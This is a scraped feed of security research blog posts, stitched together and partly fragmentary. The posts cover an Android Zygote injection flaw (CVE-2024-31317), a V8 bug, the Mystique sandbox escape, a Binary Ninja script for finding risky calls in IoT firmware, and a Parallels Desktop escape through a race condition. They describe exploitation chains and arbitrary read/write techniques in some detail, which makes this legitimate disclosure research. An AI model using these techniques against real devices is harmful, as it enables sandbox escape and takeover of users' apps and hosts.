Here, we propose a new approach: the runtime-flags field in ZygoteArguments can actually be used to enable an application’s debuggable attribute.
1 2 3 4 5 6 7 8 9 10 11
staticvoidapplyDebuggerSystemProperty(ZygoteArguments args) { if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_JDWP)) { args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_JDWP; // Also enable ptrace when JDWP is enabled for consistency with // before persist.debug.ptrace.enabled existed. args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE; } if (Build.IS_ENG || (Build.IS_USERDEBUG && ENABLE_PTRACE)) { args.mRuntimeFlags |= Zygote.DEBUG_ENABLE_PTRACE; } }
Building on our analysis in Attempt #1, we can borrow a startSeq that matches an existing record in system_server to complete the full app startup process.The key advantage here is that the app’s process flags have been modified to enable the debuggable attribute, allowing the attacker to use tools like jdb to gain execution control within the process.
The Challenge: Predicting startSeq
The issue, however, lies in predicting the startSeq parameter. ActivityManagerService enforces strict validation for this parameter, ensuring that only legitimate values associated with active application startup processes are used.
privatevoidattachApplicationLocked(@NonNull IApplicationThread thread, int pid, int callingUid, long startSeq) { // Find the application record that is being attached... either via // the pid if we are running in multiple processes, or just pull the // next app record if we are emulating process with anonymous threads. ProcessRecord app; longstartTime= SystemClock.uptimeMillis(); long bindApplicationTimeMillis; long bindApplicationTimeNanos; if (pid != MY_PID && pid >= 0) { synchronized (mPidsSelfLocked) { app = mPidsSelfLocked.get(pid); } if (app != null && (app.getStartUid() != callingUid || app.getStartSeq() != startSeq)) { StringprocessName=null; finalProcessRecordpending= mProcessList.mPendingStarts.get(startSeq); if (pending != null) { processName = pending.processName; } finalStringmsg="attachApplicationLocked process:" + processName + " startSeq:" + startSeq + " pid:" + pid + " belongs to another existing app:" + app.processName + " startSeq:" + app.getStartSeq(); Slog.wtf(TAG, msg); // SafetyNet logging for b/131105245. EventLog.writeEvent(0x534e4554, "131105245", app.getStartUid(), msg); // If there is already an app occupying that pid that hasn't been cleaned up cleanUpApplicationRecordLocked(app, pid, false, false, -1, true/*replacingPid*/, false/* fromBinderDied */); removePidLocked(pid, app); app = null; } } else { app = null; }
// It's possible that process called attachApplication before we got a chance to // update the internal state. if (app == null && startSeq > 0) { finalProcessRecordpending= mProcessList.mPendingStarts.get(startSeq); if (pending != null && pending.getStartUid() == callingUid && pending.getStartSeq() == startSeq && mProcessList.handleProcessStartedLocked(pending, pid, pending.isUsingWrapper(), startSeq, true)) { app = pending; } }
if (app == null) { Slog.w(TAG, "No pending application record for pid " + pid + " (IApplicationThread " + thread + "); dropping process"); EventLogTags.writeAmDropProcess(pid); if (pid > 0 && pid != MY_PID) { killProcessQuiet(pid); //TODO: killProcessGroup(app.info.uid, pid); // We can't log the app kill info for this process since we don't // know who it is, so just skip the logging. } else { try { thread.scheduleExit(); } catch (Exception e) { // Ignore exceptions. } } return; }
If an unmatched or incorrect startSeq is used, the process will be immediately killed. The startSeq is incremented by 1 with each app startup. So how can an attacker retrieve or guess the current startSeq?
Our solution to this issue is to first install an attacker-controlled application, and by searching the stack frames, the current startSeq can be found.
The overall exploitation process is as follows (for versions 11 and earlier):
graph TD; A["Attacker Installs a Debuggable Stub Application"] --> B["Search Stack Frames to Obtain the Current startSeq"]; B --> C["startSeq+1, Perform Command Injection; Zygote Hangs, Waiting for Next App Start"]; C --> D["Launch the Target App via Intent; Corresponding ApplicationRecord Appears in ActivityManagerService"]; D --> E["Zygote Executes Injected Parameters and Forks a Debuggable Process"]; E --> F["The New Forked Process Attaches to AMS with the stolen startSeq; AMS Checks startSeq"]; F --> G["startSeq Check Passes, AMS Controls the Target Process to Load Its Corresponding APK and Complete the Activity Startup Process"]; G --> H["The Target App Has a jdwp Thread, and the Attacker Can Attach to Perform Code Injection"];
The attack effect on Android 11 is shown in the following image:
As you can see, we successfully launched the settings process and made it debuggable for injection (with a jdwp thread present). Note that the method shown in the screenshot has not been adapted for versions 12 and above, and readers are encouraged to explore this on their own.
Alternative Exploitation Methods
Currently, Method 1 provides a simple and direct way to obtain a shell with arbitrary uid, but it doesn’t allow for direct code injection or loading. Method 2 achieves code injection and loading, but requires using the jdwp protocol. Is there a better approach?
Perhaps we can explore modifying the class name of the injected parameters—specifically, the previous android.app.ActivityThread—and redirect it to another gadget class, such as WrapperInit.wrapperInit.
protectedstatic Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges, String[] argv, ClassLoader classLoader) { // If the application calls System.exit(), terminate the process // immediately without running any shutdown hooks. It is not possible to // shutdown an Android application gracefully. Among other things, the // Android runtime shutdown hooks close the Binder driver, which can cause // leftover running threads to crash before the process actually exits. nativeSetExitWithoutCleanup(true);
// The end of of the RuntimeInit event (see #zygoteInit). Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);
// Remaining arguments are passed to the start class's static main return findStaticMain(args.startClass, args.startArgs, classLoader); }
It seems that by leveraging WrapperInit, we can control the classLoader to inject our custom classes, potentially achieving the desired effect of code injection and execution.
privatestatic Runnable wrapperInit(int targetSdkVersion, String[] argv) { if (RuntimeInit.DEBUG) { Slog.d(RuntimeInit.TAG, "RuntimeInit: Starting application from wrapper"); }
// Check whether the first argument is a "-cp" in argv, and assume the next argument is the // classpath. If found, create a PathClassLoader and use it for applicationInit. ClassLoaderclassLoader=null; if (argv != null && argv.length > 2 && argv[0].equals("-cp")) { classLoader = ZygoteInit.createPathClassLoader(argv[1], targetSdkVersion);
// Install this classloader as the context classloader, too. Thread.currentThread().setContextClassLoader(classLoader);
// Remove the classpath from the arguments. String removedArgs[] = newString[argv.length - 2]; System.arraycopy(argv, 2, removedArgs, 0, argv.length - 2); argv = removedArgs; } // Perform the same initialization that would happen after the Zygote forks. Zygote.nativePreApplicationInit(); return RuntimeInit.applicationInit(targetSdkVersion, /*disabledCompatChanges*/null, argv, classLoader); }
The specific exploitation method is left for interested readers to further explore.
Conclusion
This article analyzed the cause of the CVE-2024-31317 vulnerability and shared our research and exploitation methods. This vulnerability has effects similar to the Mystique vulnerability we discovered years ago, though with its own strengths and weaknesses. Through this vulnerability, we can obtain arbitrary UID privileges, which is akin to bypassing the Android sandbox and gaining access to any app’s permissions.
Acknowledgments
Thanks to Tom Hebb from the Meta X Team for the technical discussions—Tom is the discoverer of this vulnerability, and I had the pleasure of meeting him at the Meta Researcher Conference.
]]><h1 id="abstract"><a class="markdownIt-Anchor" href="#abstract"></a> Abstract</h1>
<p>This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to <a href="https://dawnslab.jd.com/mystique/">the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug)</a>, but each has its own merits.</p>v8_feedback_normalization_非默认配置RCE漏洞分析与利用https://dawnslab.jd.com/v8_feedback_normalization_RCE/2024-09-03T08:46:55.000Z2025-08-21T06:15:24.207Zv8_feedback_normalization_非默认配置RCE漏洞分析与利用
// This class does not use the generated verifier, so if you change anything // here, please also update JSFunctionVerify in objects-debug.cc. @highestInstanceTypeWithinParentClassRange extern classJSFunctionextendsJSFunctionOrBoundFunctionOrWrappedFunction { // When the sandbox is enabled, the Code object is referenced through an // indirect pointer. Otherwise, it is a regular tagged pointer. @if(V8_ENABLE_SANDBOX) code: IndirectPointer<Code>; @ifnot(V8_ENABLE_SANDBOX) code: Code; shared_function_info: SharedFunctionInfo; context: Context; feedback_cell: FeedbackCell; // Space for the following field may or may not be allocated. prototype_or_initial_map: JSReceiver|Map; }
Handle<Map> result = RawCopy(isolate, map, new_instance_size, mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties()); { DisallowGarbageCollection no_gc; Tagged<Map> raw = *result; // Clear the unused_property_fields explicitly as this field should not // be accessed for normalized maps. raw->SetInObjectUnusedPropertyFields(0); raw->set_is_dictionary_map(true); raw->set_is_migration_target(false); raw->set_may_have_interesting_properties(true); raw->set_construction_counter(kNoSlackTracking); }
externclassJSObject extends JSReceiver { // [elements]: The elements (properties with names that are integers). // // Elements can be in two general modes: fast and slow. Each mode // corresponds to a set of object representations of elements that // have something in common. // // In the fast mode elements is a FixedArray and so each element can be // quickly accessed. The elements array can have one of several maps in this // mode: fixed_array_map, fixed_double_array_map, // sloppy_arguments_elements_map or fixed_cow_array_map (for copy-on-write // arrays). In the latter case the elements array may be shared by a few // objects and so before writing to any element the array must be copied. Use // EnsureWritableFastElements in this case. // // In the slow mode the elements is either a NumberDictionary or a // FixedArray parameter map for a (sloppy) arguments object. elements: FixedArrayBase; }
BIND(&if_runtime); { // TODO(jkummerow): Should we use the GetProperty TF stub instead? TailCallRuntime(Runtime::kGetProperty, p->context(), p->receiver_and_lookup_start_object(), var_name.value()); } }
/*===============工具方法===============*/ // 下面这三个TypeArray共享同一个字节序列缓冲区 var f64 = newFloat64Array(1); var bigUint64 = newBigUint64Array(f64.buffer); var u32 = newUint32Array(f64.buffer);
BUG: KASAN: use-after-free in __io_remove_buffers.isra.0+0x4b1/0x6a0 fs/io_uring.c:5613 Read of size 2 at addr ffff888141a77012 by task kworker/u16:16/3825
The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.
However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain “Mystique” after the famous Marvel Comics character due to the similar ability it possesses.
In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.
]]><h3 id="abstract"><a class="markdownIt-Anchor" href="#abstract"></a> Abstract</h3>
<p>The Android Application Sandbox is the cornerstone of the Android Security Model, which protects and isolates each application’s process and data from the others. Attackers usually need kernel vulnerabilities to escape the sandbox, which by themselves proved to be quite rare and difficult due to emerging mitigation and attack surfaces tightened.</p>
<p>However, we found a vulnerability in the Android 11 stable that breaks the dam purely from userspace. Combined with other 0days we discovered in major Android vendors forming a chain, a malicious zero permission attacker app can totally bypass the Android Application Sandbox, owning any other applications such as Facebook and WhatsApp, reading application data, injecting code or even trojanize the application ( including unprivileged and privileged ones ) without user awareness. We named the chain “Mystique” after the famous Marvel Comics character due to the similar ability it possesses.</p>
<p>In this talk we will give a detailed walk through on the whole vulnerability chain and bugs included. On the attack side, we will discuss the bugs in detail and share our exploitation method and framework that enables privilege escalation, transparently process injection/hooking/debugging and data extraction for various target applications based on Mystique, which has never been talked about before. On the defense side, we will release a detection SDK/tool for app developers and end users since this new type of attack differs from previous ones, which largely evade traditional analysis.</p>魔形女漏洞白皮书https://dawnslab.jd.com/mystique-paper/2022-05-23T11:25:09.000Z2025-08-21T06:15:23.911Z 摘要
]]><h3 id="摘要"><a class="markdownIt-Anchor" href="#摘要"></a> 摘要</h3>
<p>Android 应用程序沙箱是 Android 安全模型的基石，它保护并隔离每个应用程序的进程和数据。攻击者通常需要内核漏洞来逃离沙箱，由于新兴的缓解措施和攻击面收紧，这本身被证明是非常罕见和困难的。</p>
<p>但是，我们在 Android 11 稳定版中发现了一个漏洞，该漏洞完全来自用户空间。结合我们在主要Android供应商中发现的其他0day形成链，恶意零权限攻击者应用程序可以完全绕过Android应用程序沙箱，拥有Facebook和WhatsApp等任何其他应用程序，在用户无意识的情况下，读取应用程序数据，注入代码甚至木马化应用程序（包括非特权和特权的）。我们以著名的漫威漫画角色命名该连锁店“Mystique”，因为它拥有类似的能力。</p>
<p>在本次演讲中，我们将详细介绍整个漏洞链和包含的错误。在攻击方面，我们将详细讨论漏洞并分享我们的利用方法和框架，该方法和框架可以实现基于 Mystique 的各种目标应用程序的权限提升、透明进程注入/挂钩/调试和数据提取，这是以前从未讨论过的。在防御方面，我们将为应用程序开发人员和最终用户发布检测 SDK/工具，因为这种新型攻击与以前的攻击不同，很大程度上规避了传统分析。</p>To be a bug hunter with Binary Ninja in IoThttps://dawnslab.jd.com/binaryninja1-en/2022-05-22T16:35:21.000Z2025-08-21T06:15:23.877ZBinary Ninja is an easy-to-use binary analysis platform that provides rich API interfaces to help security researchers perform automated analysis.
Recently I am doing security research work on various IoT devices, these are mainly routers, NAS, NVR, IP cameras and other products. Normally, I will first try to download the firmware of these products on the Internet, and then use binwalk to unpack and analyze them. Most of them are Linux embedded systems. After obtaining their rootfs, the ELF program inside will be statically processed.
Based on experience, I will focus on the code written by the manufacturer when implementing some specific protocols, such as http, cgi, upnp, netatalk, sslvpn, etc. I have listed some vulnerability prototypes that I will audit during static analysis below. Although the dangerous functions listed below need to be banned in modern software development, due to historical reasons, many IoT devices still have these ancient codes left behind, and there are opportunities to be exploited by attackers.
After sorting out what needs to be done, the work of vulnerability hunting becomes more repetitive. The most time-consuming task is to audit the context when each function is referenced, and then check:
Whether the current function call is safe (especially check whether there is the possibility of buffer overflow)
Can the attacker’s input reach this path
If the above two conditions are met, it is likely that this is a exploitable vulnerability. However, when an ELF is more complex, the call relationship of these high-risk functions will become abnormally many, and it will become quite laborious to rely on human audit. For example, developers of manufacturers especially like to directly call the system function in CGI to realize some tasks, such as restarting the machine, checking updates, etc. Most of the parameters of the system function are beyond the control of the attacker. How we can quickly find the vulnerability that can be controlled by the attacker for command injection?
This obviously involves the category of static analysis. I can conduct a relatively complete analysis of the whole program according to the control flow and data flow, but it requires huge computational power, which is likely to lead to an exponential increase in analysis time. As a vulnerability digger, I am more concerned about how to find exploitable vulnerabilities than absolutely relying on computers to find bugs automatically. I can accept the false alarm generated by automatic analysis. As long as it is more convenient than pressing the X key in IDA for human flesh scanning, it can be regarded as automatic analysis. As for how to reduce its false positive rate, we can make this thing first and then consider this problem.
After investigation, I tried to use angr, IDApython and Ghrida for analysis, but the results were not satisfactory (maybe I was not familiar with the use of these software). Finally, I used binary Ninja to complete a simple automatic analysis tool
defcheck_system(bv,symbol="system"): addr = get_function_addr(bv,symbol) if addr == None: return [] refs = bv.get_code_refs(addr) ret = [] for ref in refs: func = ref.function cmd = func.get_parameter_at(ref.address,None,0) if is_constant(cmd): continue ret.append((symbol,func.name,ref.address,Error.COMMANDINJECT)) return ret
defget_function_addr(bv,symbol): syms = [] if symbol in bv.symbols: syms = bv.symbols[symbol] if"_%s"%symbol in bv.symbols: syms = bv.symbols["_%s"%symbol] for i in syms: if"mips32" == bv.arch.name or"mipsel32" == bv.arch.name: if i.type == SymbolType.ImportAddressSymbol: return i.address else: if i.type == SymbolType.ImportedFunctionSymbol: return i.address returnNone
defis_constant(a): return a.type == RegisterValueType.ConstantPointerValue or a.type == RegisterValueType.ConstantValue
if __name__ == "__main__": input_file = sys.argv[1] if os.path.exists(input_file + ".bndb"): bv = open_view(input_file + ".bndb") else: bv = open_view(input_file) settings = SaveSettings() bv.create_database(input_file + ".bndb", None, settings) ret = check_system(bv) for i in ret: print("%-15s function: %-20s addr: 0x%x %s"%(i[0],i[1],i[2],i[3]))
The main logic of the above code is in the check_system function. I just filter out the calls whose parameters are not constants when calling system, and finally output all the results. This greatly reduces the number of system calls I need to check. Similarly, I can also check whether there is a risk of buffer out-of-bounds in the call to sprintf through Binary Ninja’s API.
defcheck_sprintf(bv,symbol = "sprintf"): addr = get_function_addr(bv,symbol) if addr == None: return [] refs = bv.get_code_refs(addr) ret = [] for ref in refs: func = ref.function fmt = func.get_parameter_at(ref.address,None,1) ifnot is_constant(fmt): ret.append((symbol,func.name,ref.address,Error.FORMAT_UNCONSTANT)) continue asc = bv.get_ascii_string_at(fmt.value,min_length = 2) if asc == None: continue fmt_value = asc.value cidx = 0 arg_idx = 1 whileTrue: idx = fmt_value.find("%",cidx) if idx < 0: break arg_idx += 1 cidx = idx + 1 if fmt_value[idx:].startswith("%s"): arg = func.get_parameter_at(ref.address,None,arg_idx) ifnot is_constant(arg): ret.append((symbol,func.name,ref.address,Error.FORMAT_OVERFLOW)) return ret
The false positive rate of the above vulnerability analysis will still be relatively high, based on experience, I often add some additional constraints that do not seem to be particularly correct:
strcpy strcat Require the dst parameter to be stack space (more likely to appear stackoverflow)
system Require calls to snprintf or sprintf at the same time as system is called (command injection is more likely)
sscanf It is required to call sscanf without calling fopen (the developer will use sscanf to read the information in the configuration file)
Through the above constraints, the results of the automatic analysis output can generally be used as a reference for static analysis, but if you want to perform batch firmware analysis, further optimization is required. At present, I am researching how to use Binary Ninja’s intermediate language to conduct a relatively complete data flow analysis to further reduce the false positive rate. If there are other updates, I will synchronize them here. Interested students are also welcome to contact me.
]]><p>Binary Ninja is an easy-to-use binary analysis platform that provides rich API interfaces to help security researchers perform automated analysis.</p>使用Binary Ninja进行IoT设备漏洞挖掘https://dawnslab.jd.com/binaryninja1-zh-cn/2022-05-22T13:00:59.000Z2025-08-21T06:15:23.881ZBinary Ninja是一款简单易用的二进制分析平台，它提供了丰富的API接口，可以帮助安全研究人员进行自动化的分析。
defcheck_system(bv,symbol="system"): addr = get_function_addr(bv,symbol) if addr == None: return [] refs = bv.get_code_refs(addr) ret = [] for ref in refs: func = ref.function cmd = func.get_parameter_at(ref.address,None,0) if is_constant(cmd): continue ret.append((symbol,func.name,ref.address,Error.COMMANDINJECT)) return ret
defget_function_addr(bv,symbol): syms = [] if symbol in bv.symbols: syms = bv.symbols[symbol] if"_%s"%symbol in bv.symbols: syms = bv.symbols["_%s"%symbol] for i in syms: if"mips32" == bv.arch.name or"mipsel32" == bv.arch.name: if i.type == SymbolType.ImportAddressSymbol: return i.address else: if i.type == SymbolType.ImportedFunctionSymbol: return i.address returnNone
defis_constant(a): return a.type == RegisterValueType.ConstantPointerValue or a.type == RegisterValueType.ConstantValue
if __name__ == "__main__": input_file = sys.argv[1] if os.path.exists(input_file + ".bndb"): bv = open_view(input_file + ".bndb") else: bv = open_view(input_file) settings = SaveSettings() bv.create_database(input_file + ".bndb", None, settings) ret = check_system(bv) for i in ret: print("%-15s function: %-20s addr: 0x%x %s"%(i[0],i[1],i[2],i[3]))
]]><p>Binary Ninja是一款简单易用的二进制分析平台，它提供了丰富的API接口，可以帮助安全研究人员进行自动化的分析。</p>Escape from Parallels Desktophttps://dawnslab.jd.com/pd-exploit-blog2/2022-02-13T09:32:23.000Z2025-08-21T06:15:23.822ZParallels Desktop is a virtual machine software under the macOS system that helps users run Windows, Linux and other operating systems. In September 2021, I started security research on Parallels Desktop, during which I discovered several high-severity vulnerabilities. Unfortunately, in the latest update, my vulnerabilities were patched. I wrote this article to describe my Parallels Desktop research process, as well as the technical details of finding and exploiting vulnerabilities.中文版
Introduction
The version of Parallels Desktop I studied is 17.0.1 (51482), and I clarified some basic logic of this software by slowly groping. The name of the program responsible for running the virtual machine is prl_vm_app. Similar to other virtualization software, the structure is shown below.
prl_vm_app needs to handle interrupt requests from vCPU, simulate peripheral operations, and call it Host. What we usually call virtual machine escape is to destroy the host application by sending illegal requests on the guest host, and implement code execution on the host.
On a traditional physical machine, the CPU generally communicates with devices through io ports and memory mapping (DMA), and this is the part that software must simulate. At the same time, prl_vm_app also implements some custom communication protocols in order to realize some common functions of virtual machines such as clipboard sharing and file sharing. This protocol generally transmits data through agreed registers and physical memory, and needs to be used in conjunction with the driver developed by Parallels itself. Research by others in the past has found some security issues in protocol processing, and this is a good and easiest attack surface to locate.
Another attack surface is the simulation code of various devices on the Host. The interaction protocol of each device is different. When auditing the code, I need to learn one by one. This is a very time-consuming task. Almost half of the mining process is learning how to properly interact with these devices, and the other half is reverse auditing the corresponding code. The content of my audit is also very simple, mainly whether the index is properly checked, whether there is an integer overflow, whether the memory copy is out of bounds, etc. But these type of bug are easy to find, and previous research work and the security measures of developers will definitely make similar bugs less and less. After fumbling around for a while and getting nowhere in my vulnerability digging, I started looking for experience from other people’s security research.
In the past virtualization research, I noticed a relatively easy vulnerability mode TOCTOU (Time of Check Time of Use). Similar problems have occurred in Vmware products, such as CVE-2020-3981, CVE-2020-3982, QEMU has also been exposed to this problem such as CVE-2018-16872. This is a very easy error during development. In the final analysis, it is caused by Race. The Guest and the Host share physical memory through memory mapping. When the Host checks the requested data, the Guest can modify the data at the same time. Next I will explain it in detail with specific bugs.
Vulnerability Analysis
I found a similar problem in the virtio-gpu device, as shown below, the input pointer is the memory map of the Guest physical memory in the Host, and when processing the VIRTIO_GPU_CMD_UPDATE_CURSOR request, two variables input are read from the Guest’s input ->pos.scanout_id and input->resource_id, check scanout_id on line 8 to see if the array index is out of bounds, and write resource_id into the array on line 16.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
... input = (virtio_gpu_update_cursor *)v5->hva; if ( !v5->hva ) goto LABEL_60; if ( !v87 ) goto LABEL_60; v10 = input->pos.scanout_id; if ( v10 >= 0x10 ) // Time of check goto LABEL_60; v11 = v10; new_x = a1->scanouts[v11].rect.x + input->pos.x; new_y = a1->scanouts[v11].rect.y + input->pos.y; if ( input->hdr.type != VIRTIO_GPU_CMD_UPDATE_CURSOR ) goto LABEL_55; QMutex::lock(v62); a1->resource_ids[input->pos.scanout_id] = input->resource_id;// Time of Use ...
We can create a new thread through the code execution gap from lines 8 to 16, and modify scanout_id to any data, that is, we can write any value out of bounds in the array.
If this scanout_id is modified to an illegal value, it may cause illegal memory access. This is the crash log at that time.
Vulnerability Exploit
At present, we have written arbitrary data with relative offset. Next, I will discuss the construction of information leakage and arbitrary address reading and writing by tampering with the structure a1(gpu_buffer)
Through debugging, I found that the address space of prl_vm_app is as follows. After the address randomization is turned on, the Image Base starts from a random address of 0x1xxxxx000, followed by the Guest Memory. If the physical memory of the virtual machine is large enough, such as more than 4G, then there is a high probability that some fixed Host virtual addresses (such as 0x200000000) will definitely fall on the Guest Memory.
In the process of GPU processing, queue_result saves the interactive address mapping information. As shown below, the GPU takes the corresponding memory address and data length from the virtio queue, translates it into a virtual address on the Host through gpa_to_hva, and writes it back to mem_handlers.
When exploiting, I modified the queue_result pointer to a fixed constant of 0x180000000, and then triggered any virtio-gpu request, and Host wrote the address translation information to queue_result (the pointer has been tampered with 0x180000000). Then I searched the physical memory of the entire virtual machine for the modified physical page, so as to infer that the Guest Memory Base on host.
The queue_result is tampered to point to the guest physical memory, which can not only achieve information leakage, but also facilitate subsequent use. Because it saves the address information during interaction, by tampering with the data in it, any address can be read and written.
I used the following gadget, which is a code branch when the GPU handles different requests. The code content from lines 8 to 17 is to write the v19->mem_handlers[0].hva data of the virtual machine back to v19 ->mem_handlers[2].hva. Normally, they hold the addresses translated by gpa_to_hva which tell the device where to read data from and where to write data. Guest and virtio-gpu agree that data is read from v19->mem_handlers[0].hva, and the returned result is written back to v19->mem_handlers[2].hva.
When the request is called, a new thread is enabled again, and v19->mem_handlers[0].hva is modified to any address, that is, any address can be read, and the data can be written back to v19->mem_handlers[2].hva.
Arbitrary Address Write
The method of writing any address is similar to the above. After the address translation of v19->mem_handlers[2] is completed in line 8, I can quickly change v19->mem_handlers[2].hva to arbitrary address that needs to be written through Race. It’s just that compared to reading at any address, the race window is very small. Only after the gpa_to_hva function on line 8 exits and before the assignment of v20 on line 9, modify v19->mem_handlers[2].hva to successfully implement arbitrary address writing. However, this method can be called an infinite number of times, and a few attempts will always succeed.
With arbitrary address read and write, firstly search the Image Base near the Guest Memory Base, find the link library, calculate the system address in libc, and finally implement arbitrary code execution by tampering with the function pointer.
]]><p>Parallels Desktop is a virtual machine software under the macOS system that helps users run Windows, Linux and other operating systems. In September 2021, I started security research on Parallels Desktop, during which I discovered several high-severity vulnerabilities. Unfortunately, in the latest update, my vulnerabilities were patched. I wrote this article to describe my Parallels Desktop research process, as well as the technical details of finding and exploiting vulnerabilities.</p>Parallels Desktop虚拟机逃逸https://dawnslab.jd.com/pd-exploit-blog1/2022-02-13T08:57:33.000Z2025-08-21T06:15:23.835ZParallels Desktop是在macOS系统下的一款虚拟机软件，帮助用户在macOS上运行Windows、Linux等操作系统。在2021年9月份我开始了Parallels Desktop的安全研究，期间发现了若干高危漏洞，非常不幸地是在最近一次更新中，我的漏洞被修补掉了。我写这篇文章用于介绍我的Parallels Desktop研究过程，以及发现漏洞、利用漏洞的技术细节。English version
在过去的虚拟化研究中，我注意到一个比较容易出现的漏洞模式TOCTOU（Time of Check Time of Use），Vmware产品中出现过类似的问题，如CVE-2020-3981、 CVE-2020-3982，QEMU也被曝出过该问题如CVE-2018-16872。这是一种开发时非常容易出现的错误，归根结底是因为Race造成的，Guest和Host通过内存映射的方法共享物理内存，Host在对请求的数据进行检查时，Guest可以同时对数据进行修改。接下来我会通过具体bug对它进行详细解释。
]]>
]]>
For English version please click here.